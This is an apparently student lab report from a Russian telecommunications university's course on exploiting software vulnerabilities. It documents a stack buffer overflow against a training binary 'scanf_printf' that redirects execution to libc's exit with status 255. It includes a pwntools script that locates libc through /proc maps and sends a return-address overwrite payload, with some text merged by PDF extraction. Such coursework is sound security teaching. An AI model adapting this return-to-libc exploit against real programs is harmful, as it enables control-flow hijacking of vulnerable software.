Lab06
.pdfМИНИСТЕРСТВО ЦИФРОВОГО РАЗВИТИЯ,
СВЯЗИ И МАССОВЫХ КОММУНИКАЦИЙ РОССИЙСКОЙ ФЕДЕРАЦИИ
ФЕДЕРАЛЬНОЕ ГОСУДАРСТВЕННОЕ БЮДЖЕТНОЕ ОБРАЗОВАТЕЛЬНОЕ УЧРЕЖДЕНИЕ ВЫСШЕГО ОБРАЗОВАНИЯ
«САНКТ-ПЕТЕРБУРГСКИЙ ГОСУДАРСТВЕННЫЙ УНИВЕРСИТЕТ ТЕЛЕКОММУНИКАЦИЙ ИМ. ПРОФ. М.А. БОНЧ-БРУЕВИЧА»
(СПбГУТ)
Факультет Инфокоммуникационных сетей и систем
Кафедра Защищенных систем связи
Дисциплина Эксплуатация Уязвимостей Программного Обеспечения
10.03.01 Информационная безопасность
(код и наименование направления/специальности)
ОТЧЕТ ПО ЛАБОРАТОРНОЙ РАБОТЕ №6
Выполнил:
Яковлев И. А., ИКБ-95________________________________
(Ф.И.О., № группы) (подпись)
Милькота Н. О., ИКБ-95________________________________
(Ф.И.О., № группы) (подпись)
Погосов М. В., ИКБ-95________________________________
(Ф.И.О., № группы) (подпись)
Преподаватель:
Браницкий А. А.______________________________________
(Ф.И.О) (подпись)
Санкт-Петербург
2022
Реализовать переполнение буфера в scanf_printf таким образом, чтобы досрочно выполнялось завершение со статусом 255
Рис. 1 Построение последовательности
Рис. 2 Вычисление ret_offset
Рис. 3 Вычисление exit_offset
Код программы:
2
import re
from pwn import p32 , process p = process (‘./scanf_printf’) lidc_addr = None
with open (‘/proc/{}/maps’. format (p.pid), ‘r’) as fd: for l in fd:
r = re.search (r’^([0-9a-f]*)-.*/lib32/lidc.so.6$’, l) if r:
lidc_addr = int(r.group(1) , 16) break
exit_offset = 238016
exit_addr = lidc_addr + exit_offset print(‘lidc_addr :’, lidc_addr) print(‘exit_addr :’, exit_addr) ret_offset = 112
payload = ‘A’.encode() * ret_offset + p32(exit_addr) + ‘BBBB’.encode() + p32(255) p.sendline(payload)
p.clean()
p.interactive()
Рис. 5 Исполнение эксплойта
3